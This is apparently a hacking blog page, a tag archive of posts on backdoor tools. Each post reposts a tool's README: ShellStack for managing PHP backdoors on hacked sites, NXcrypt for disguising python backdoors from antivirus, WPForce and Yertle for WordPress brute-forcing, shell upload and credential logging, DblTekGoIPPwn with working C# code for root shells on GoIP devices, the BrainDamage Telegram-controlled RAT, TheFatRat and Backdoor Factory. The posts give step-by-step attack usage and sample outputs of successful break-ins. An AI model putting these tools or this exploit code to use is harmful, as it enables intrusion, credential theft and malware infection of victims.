This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Showing posts with label Backdoor. Show all posts
Showing posts with label Backdoor. Show all posts

ShellStack - A PHP Based Tool That Helps You To Manage All Your Backdoored Websites Efficiently



ShellStack is a PHP based backdoor management tool. This Tool comes handy for "HACKERS" who wish to keep a track of every website they hack. The tool generates a backdoor file which you just have to upload to the site and put the backdoor URL in the shells.txt present in the tool's directory.

With ShellStack You can
  • Import PHP Shells
  • Get Server Details
  • Upload Files From Your System using your terminal
  • And Above all You Can Manage Your Backdoors Efficiently

How To Use
  1. git clone https://github.com/Tuhinshubhra/shellstack
  2. cd shellstack
  3. php shellstack.php
  4. generatebd and exit the tool use CTRL + C - This will generate a backdoor file in the same directory as of the tool in a file named backdoor.php
  5. Upload The Backdoor File To The Victim website
  6. Copy The Backdoor URL and paste it in the shells.txt file present in the tool's directory and save it (Each backdoor is separated by a new line)
  7. php shellstack.php
  8. Enter The Serial No Assigned To The Backdoor
  9. Rest is pretty Self explanatory
Watch The Video Here: https://youtu.be/umk3ZNZ5Y1I

Requirements
php
curl

Example
root@R3D_MACH1N3:/home/redhaxor/Desktop/shellstack# php shellstack.php


________________________________________________________________________________
_______ _ _ _______ _______ _______ _______ _______ _ _
|______ |_____| |______ | | |______ | |_____| | |____/
______| | | |______ |_____ |_____ ______| | | | |_____ | \_
________________________________________________________________________________

Simple Backdoor Management System
Coded By R3D#@x0R_2H1N A.K.A Tuhinshubhra
Shout Out: LulZSec India
================================================================================



List Of Backdoors:

0. http://localhost/backdoor.php
=============================================

[#] Enter Either Of These (Backdoor No.|help|generatebd) : 0

[+] Shell Selected: http://localhost/backdoor.php
[+] Validating Backdoor: Backdoor Found!

List Of Actions
================
[1] Import PHP Shells
[2] Server Details
[3] Remove Backdoor
[4] Remote File Upload
[5] Exit

[#] Select Option(1|2|3|4|5):2

[+] Server Info
[i] Sending Request And Getting Response...
[i] Server: Linux R3D_MACH1N3 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-1kali1 (2017-06-06) x86_64
[i] Server IP: 127.0.0.1


Press Enter To Continue


List Of Actions
================
[1] Import PHP Shells
[2] Server Details
[3] Remove Backdoor
[4] Remote File Upload
[5] Exit

[#] Select Option(1|2|3|4|5):1


List Of Shells
===============
[1] Dhanush shell {User & Pass : shellstack123}
[2] B374K shell {Pass : shellstack123}
[3] Kurama shell V.1.0 {Pass : red}
[4] WSO shell {Pass : shellstack123}
[5] MiNi shell {User & Pass : shellstack123}

[#] Select Shell To Import(1-5):1


[i] Importing Shell...
[i] Sending Request And Getting Response...
[R] Dhanush Shell Imported Successfully To /var/www/html/dhanush.php


Press Enter To Continue


List Of Actions
================
[1] Import PHP Shells
[2] Server Details
[3] Remove Backdoor
[4] Remote File Upload
[5] Exit

[#] Select Option(1|2|3|4|5):5
root@R3D_MACH1N3:/home/redhaxor/Desktop/shellstack#

Release(s)
Version 1.0 On 14-06-2017

Screenshot


NXcrypt - Python Backdoor Framework


NXcrypt
  • NXcrypt is a polymorphic 'python backdoors' crypter written in python by Hadi Mene (h4d3s) . The output is fully undetectable .
  • NXcrypt can inject malicious python file into a normal file with multi-threading system .
  • Run it with superuser's permissions .
  • NXcrypt output is Fully undetectable .

Usage :
  • sudo ./NXcrypt.py --file=backdoor.py --output=output_backdoor.py # encrypt backdoor.py and output file is output_backdoor.py
  • sudo ./NXcrypt.py --file=shell.py # encrypt shell.py and default output file is backdoor.py but you can edit it in source code
  • sudo ./NXcrypt.py --help # NXcrypt help
  • sudo ./NXcrypt.py --backdoor-file=payload.py --file=test.py --output=hacked.py # inject payload.py with test.py into hacked.py with multi-threading system

How it work ?
  • Encryption module :
  • NXcrypt add some junkcode .
  • NXcrypt use a python internal module 'py_compile' who compile the code into bytecode to a .pyc file .
  • NXcrypt convert .pyc file into normal .py file .
  • And in this way we can obfuscate the code
  • The md5sum will change too
  • Injection module :
  • it inject a malicious python file into a normal file with multi-threading system .

Test with Virustotal
Before :
SHA256: e2acceb6158cf406669ab828d338982411a0e5c5876c2f2783e247b3e01c2163 File name: facebook.py Detection ratio: 2 / 54
After :
SHA256: 362a4b19d53d1a8f2b91491b47dba28923dfec2d90784961c46213bdadc80add File name: facebook_encrypted.py Detection ratio: 0 / 55

Video Tutorial
https://www.youtube.com/watch?v=s8Krngv2z9Q


WPForce - Wordpress Attack Suite


WPForce is a suite of Wordpress Attack tools. Currently this contains 2 scripts - WPForce, which brute forces logins via the API, and Yertle, which uploads shells once admin credentials have been found. Yertle also contains a number of post exploitation modules.


Features:
  • Brute Force via API, not login form bypassing some forms of protection
  • Can automatically upload an interactive shell
  • Can be used to spawn a full featured reverse shell
  • Dumps WordPress password hashes
  • Can backdoor authentication fuction for plaintext password collection
  • Inject BeEF hook into all pages
  • Pivot to meterpreter if needed

Install:
Yertle requires the requests libary to run.
http://docs.python-requests.org/en/master/user/install/

Usage:
python wpforce.py -i usr.txt -w pass.txt -u "http://www.[website].com"

,-~~-.___. __ __ ____ _____
/ | x \ \ \ / /| _ \ | ___|___ _ __ ___ ___
( ) 0 \ \ /\ / / | |_) || |_ / _ \ | '__|/ __|/ _ \.
\_/-, ,----' ____ \ V V / | __/ | _|| (_) || | | (__| __/
==== || \_ \_/\_/ |_| |_| \___/ |_| \___|\___|
/ \-'~; || |
/ __/~| ...||__/|-" Brute Force Attack Tool for Wordpress
=( _____||________| ~n00py~

Username List: usr.txt (3)
Password List: pass.txt (21)
URL: http://www[website].com
--------------------------
[xxxxxxxxxxxxx@gmail.com : xxxxxxxxxxxxx] are valid credentials! - THIS ACCOUNT IS ADMIN
--------------------------
--------------------------
[xxxxxxxxxxxxx@icloud.com : xxxxxxxxxxxx] are valid credentials!
--------------------------
100% Percent Complete
All correct pairs:
{'xxxxxxxxxxxxx@icloud.com': 'xxxxxxxxxxxxx', 'xxxxxxxxxxxxx@gmail.com': 'xxxxxxxxxxxxx'}

-h, --help show this help message and exit
-i INPUT, --input INPUT
Input file name
-w WORDLIST, --wordlist WORDLIST
Wordlist file name
-u URL, --url URL URL of target
-v, --verbose Verbose output. Show the attemps as they happen.
-t THREADS, --threads THREADS
Determines the number of threads to be used, default
is 10
-a AGENT, --agent AGENT
Determines the user-agent
-d, --debug This option is used for determining issues with the
script.


python yertle.py -u "[username]" -p "[password]" -t "http://www.[website].com" -i
_..---.--. __ __ _ _
.'\ __|/O.__) \ \ / /__ _ __| |_| | ___
/__.' _/ .-'_\ \ V / _ \ '__| __| |/ _ \.
(____.'.-_\____) | | __/ | | |_| | __/
(_/ _)__(_ \_)\_ |_|\___|_| \__|_|\___|
(_..)--(.._)'--' ~n00py~
Post-exploitation Module for Wordpress

Backdoor uploaded!
Upload Directory: ebwhbas
os-shell>



-h, --help show this help message and exit
-i, --interactive Interactive command shell
-r, --reverse Reverse Shell
-t TARGET, --target TARGET
URL of target
-u USERNAME, --username USERNAME
Admin username
-p PASSWORD, --password PASSWORD
Admin password
-li IP, --ip IP Listener IP
-lp PORT, --port PORT
Listener Port
-v, --verbose Verbose output.
-e EXISTING, --existing EXISTING
Skips uploading a shell, and connects to existing
shell

Yertle currently contains these modules:
Core Commands
=============

Command Description
------- -----------
? Help menu
beef Injects a BeEF hook into website
exit Terminate the session
hashdump Dumps all WordPress password hashes
help Help menu
keylogger Patches WordPress core to log plaintext credentials
keylog Displays keylog file
meterpreter Executes a PHP meterpreter stager to connect to metasploit
quit Terminate the session
shell Sends a TCP reverse shell to a netcat listener
stealth Hides Yertle from the plugins page


DblTekGoIPPwn - Tool to check if an IP of a DblTek GoIP is vulnerable to a challenge-response login system, execute remote commands botnet style, and generate responses to challenges


Tool to exploit challenge response system in vulnerable DblTek GoIP devices. Can generate responses to specified challenges, test hosts for the vulnerability, run commands on vulnerable hosts, and drop into a root shell on any vulnerable host.

The Vulnerability
On March 2nd, 2017, Trustwave released a vulnerability that security researchers found in the DblTek GoIP VoIP Phone. The vulnerability was a backdoor in the firmware for an account named 'dbladm'. When a user entered this as their username in a telnet prompt, the system would present a challenge that when followed with the right response, gave the user a root shell on the system.
The problem with such a challenge response system is that the devices are as secure as the algorithm for generating the responses, which was reverse engineered from firmware binaries provided by DblTek. Using this algorithm, a root shell can be aquired on ANY DblTek GoIP device.
Original Article: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
Using the description of the backdoor provided in the article, I was able to write what I believe to be some of the first exploit code for this vulnerability. The core of this is of course the algorithm to generate the response based on a given challenge. Here is a function to do this written in C#.
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.

string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.

byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];

var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.

StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));

return sb.ToString(); // Profit
}

DblTekGoIPPwn Command Line Interface (CLI)
When DblTekPwn is ran without arguments, the help is displayed. This is the output:
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

[MODE]:
-c --compute-response [CHALLENGE] Computes a response to the given challenge.
-r --root-shell Starts a root shell with the vulnerable host.
-s --send-commands [COMMAND_FILE] Sends commands from a file to vulnerable hosts.
-t --test Tests hosts and determines if they are vulnerable.
-h --help Displays this help and exits.

[HOSTS]:
-n --name [IP] Specifies a single IP address.
-f --file [IP_FILE] Specifies a file with IP\nIP\nIP.

[OUTPUT]:
-o --output [OUTPUT_FILE] Specifies an output file. Default stdin.

Examples

Getting a Root Shell on a Vulnerable System
DblTekGoIPPwn makes it easy to get a root shell on any vulnerable system. Simply run the following command using the vulnerable IP.
DblTekPwn.exe --root-shell --name 192.168.1.1
You will see output that looks like this:
Password: ***********
From here you can begin entering commands (there is no shell prompt).

Calculating a Challenge Response
Say you wanted to calculate the response to a GoIP challenge N1746203308 . You would just run the following command.
DblTekPwn --compute-response N1746203308
The output will be the response:
d6176d3aab2

Checking a List of IPs
Say you wished to check list.txt of IPs for GoIPs that are vulnerable and send this output to results.txt . First make sure that the IPs are in format ip:port (port is default 23) and that the IPs are seperated by a newline \n . The following command could then be ran.
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
The False or True after the host indicates whether or not the IP is vulnerable.

Sending Commands to a List of IPs
Say you had a list of commands (which is really a list of telnet inputs) in cmds.txt to send to list.txt of IPs and send the output to results.txt . First make sure that the IPs are in format ip:port (port is default 23) and that BOTH the IPs AND commands are seperated by a newline \n in their respective files. The following command could then be ran.
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor

exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
The False or True after the host indicates whether or not the connection was successfully made and the commands delivered.


BrainDamage - A fully featured backdoor that uses Telegram as a C&C server


A python based backdoor which uses Telegram as C&C server.

                           /\
/_.\
_,.-'/ `",\'-.,_
-~^ /______\`~~-^~:

____ _ _____
| _ \ (_) | __ \
| |_) |_ __ __ _ _ _ __ | | | | __ _ _ __ ___ __ _ __ _ ___
| _ <| '__/ _` | | '_ \| | | |/ _` | '_ ` _ \ / _` |/ _` |/ _ \
| |_) | | | (_| | | | | | |__| | (_| | | | | | | (_| | (_| | __/
|____/|_| \__,_|_|_| |_|_____/ \__,_|_| |_| |_|\__,_|\__, |\___|
__/ |
|___/

--> Coded by: Mehul Jain(mehulj94@gmail.com)
--> Github: https://github.com/mehulj94
--> Twitter: https://twitter.com/wayfarermj
--> For windows only

______ _
| ____| | |
| |__ ___ __ _| |_ _ _ _ __ ___ ___
| __/ _ \/ _` | __| | | | '__/ _ \/ __|
| | | __/ (_| | |_| |_| | | | __/\__ \
|_| \___|\__,_|\__|\__,_|_| \___||___/


--> Persistance
--> USB spreading
--> Port Scanner
--> Router Finder
--> Run shell commands
--> Keylogger
--> Insert keystrokes
--> Record audio
--> Webserver
--> Screenshot logging
--> Download files in the host
--> Execute shutdown, restart, logoff, lock
--> Send drive tree structure
--> Set email template
--> Rename Files
--> Change wallpaper
--> Open website
--> Send Password for
• Chrome
• Mozilla
• Filezilla
• Core FTP
• CyberDuck
• FTPNavigator
• WinSCP
• Outlook
• Putty
• Skype
• Generic Network
--> Cookie stealer
--> Send active windows
--> Gather system information
• Drives list
• Internal and External IP
• Ipconfig /all output
• Platform

Setup
  • Telegram setup:
    • Install Telegram app and search for "BOTFATHER".
    • Type /help to see all possible commands.
    • Click on or type /newbot to create a new bot.
    • Name your bot.
    • You should see a new API token generated for it.
  • Dedicated Gmail account. Remember to check "allow connection from less secure apps" in gmail settings.
  • Set access_token in eclipse.py to token given by the botfather.
  • Set CHAT_ID in eclipse.py. Send a message from the app and use the telegram api to get this chat id.
bot.getMe() will give output {'first_name': 'Your Bot', 'username': 'YourBot', 'id': 123456789}
  • Set copied_startup_filename in Eclipse.py.
  • Set Gmail password and Username in /Breathe/SendData.py

Abilities
  • whoisonline- list active slaves
    This command will list all the active slaves.
  • destroy- delete&clean up
    This command will remove the stub from host and will remove registry entries.
  • cmd- execute command on CMD
    Run shell commands on host
  • download- url (startup, desktop, default)
    This will download files in the host computer.
  • execute- shutdown, restart, logoff, lock
    Execute the following commands
  • screenshot- take screenshot
    Take screenshot of the host of computer.
  • send- passwords, drivetree, driveslist, keystrokes, openwindows
    This command will sends passwords (saved browser passwords, FTP, Putty..), directory tree of host (upto level 2), logged keystrokes and windows which are currently open
  • set- email (0:Default,1:URL,2:Update), filename (0: Itself, 1: Others), keystrokes (text)
    This command can set email template (default, download from url, update current template with text you'll send), rename filenames or insert keystrokes in host.
  • start- website (URL), keylogger, recaudio (time), webserver (Port), spread
    This command can open website, start keylogger, record audio, start webserver, USB Spreading
  • stop- keylogger, webserver
    This command will stop keylogger or webserver
  • wallpaper- change wallpaper (URL)
    Changes wallpaper of host computer
  • find- openports (host, threads, ports), router
    This command will find open ports and the router the host is using
  • help- print this usage

Requirements

Screenshots






For educational purposes only, use at your own responsibility.


TheFatRat v1.8 - Easy Tool For Generate Backdoor with Msfvenom


What is TheFatRat ??

An easy tool to generate backdoor with msfvenom (a part from metasploit framework) and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection .



Automating metasploit functions
  • Checks for metasploit service and starts if not present
  • Easily craft meterpreter reverse_tcp payloads for Windows, Linux, Android and Mac and another
  • Start multiple meterpreter reverse_tcp listners
  • Fast Search in searchsploit
  • Bypass AV
  • File pumper
  • Create backdoor with another techniq
  • Autorunscript for listeners ( easy to use )
  • Drop into Msfconsole
  • Some other fun stuff :)

Autorun Backdoor
  • Autorun work if the victim disabled uac ( user acces control ) or low uac ( WINDOWS )
  • What is uac ? you can visit ( http://www.digitalcitizen.life/uac-why-you-should-never-turn-it-off )
  • I have also created 3 AutoRun files
  • Simply copy these files to a CD or USB
  • You can change the icon autorun file or exe in folder icon ( replace your another ico and replace name with autorun.ico )

HOW CHANGE THE ICONS ?
  • Copy your icon picture to folder /TheFatrat/icons
  • Change the name into autorun.ico
  • And Replace
  • Done

Changelog
Be sure to check out the [Changelog] and Read CHANGELOG.md

Getting Started
  1. git clone https://github.com/Screetsec/TheFatRat.git
  2. cd TheFatRat/setup
  3. chmod +x setup.sh && ./setup.sh

How it works
  • Extract The lalin-master to your home or another folder
  • chmod +x fatrat
  • chmod +x powerfull.sh
  • And run the tools ( ./fatrat )
  • Easy to Use just input your number

Requirements
  • A linux operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling / Cyborg / Parrot / Dracos / BackTrack / Backbox / and another operating system ( linux )
  • Must install metasploit framework

READ
  • if prog.c file to large when create backdoor with powerfull.sh , you can use prog.c.backup and create another backup when you running option 2

Tutorial ?

BUG ?
  • Submit new issue
  • pm me
  • Hey sup ? do you want ask about all my tools ? you can join me in telegram.me/offscreetsec

:octocat: Credits


[The Backdoor Factory] Backdoors win32 PE files


Backdoors win32 PE files, to continue normal file execution (if the shellcode supports it), by patching the exe/dll directly.

Some executables have built in protections, as such this will not work on all PE files. It is advisable that you test target PE files before deploying them to clients or using them in exercises.

Win32 binaries now run on x64 working with ASLR for proper continued execution after shellcode has run.

Recently tested on all 32bit Sysinternal tools

Usage: ./backdoor.py -h
Usage: backdoor.py [options]
Options: -h, --help show this help message and exit
-f FILE, --file=FILE File to backdoor
-i HOST, --hostip=HOST IP of the C2 for reverse connections
-p PORT, --port=PORT The port to either connect back to for reverse shells or to listen on for bind shells
-o OUTPUT, --output-file=OUTPUT The backdoor output file
-s SHELL, --shell=SHELL Payloads that are available for use.
-n NSECTION, --section=NSECTION New section name must be less than seven characters
-c, --cave The cave flag will find code caves that can be used for stashing shellcode. This will print to all the code caves of a specific size. The -l flag can be use with this setting.
-d DIR, --directory=DIR This is the location of the files that you want to backdoor. You can make a directory of file backdooring faster by forcing the attaching of a codecave to the exe by using the -a setting.
-v, --verbose For debug information output.
-e ENCODER, --encoder=ENCODER Encoders that can help with AV evasion.
-l SHELL_LEN, --shell_length=SHELL_LEN For use with -c to help find code caves of different sizes
-a, --add_new_section Mandating that a new section be added to the exe (better success) but less av avoidance
-w, --change_access This flag changes the section that houses the codecave to RWE. Sometimes this is necessary. Enabled by default. If disabled, the backdoor may fail.
-j, --injector This command turns the backdoor factory in a hunt and shellcode inject type of mechinism. Edit the target settings in the injector module.
-u SUFFIX, --suffix=SUFFIX For use with injector, places a suffix on the original file for easy recovery
-D, --delete_original For use with injector module. This command deletes the original file. Not for use in production systems. Author not responsible for stupid uses.


Features:
-After making a copy of the target file, the file copy will be patched directly.
-Finding all codecaves in an EXE/DLL.
-Injecting modified reverse/bind shells that allow continued execution after connection to the attacker.
-Modifying the PE/COFF header to add an additional section for all win32 executables/dlls, including those with an import table.
-Using the existing shellcode options, the ability to select PORT and HOST as connection options
-The ability to backdoor a directory of executables/dlls
-List all codecaves in the exe/dll
-Select the codecave in the exe/dll to backdoor, thereby not changing the filesize.
-Includes a simple XOR shellcode encoder.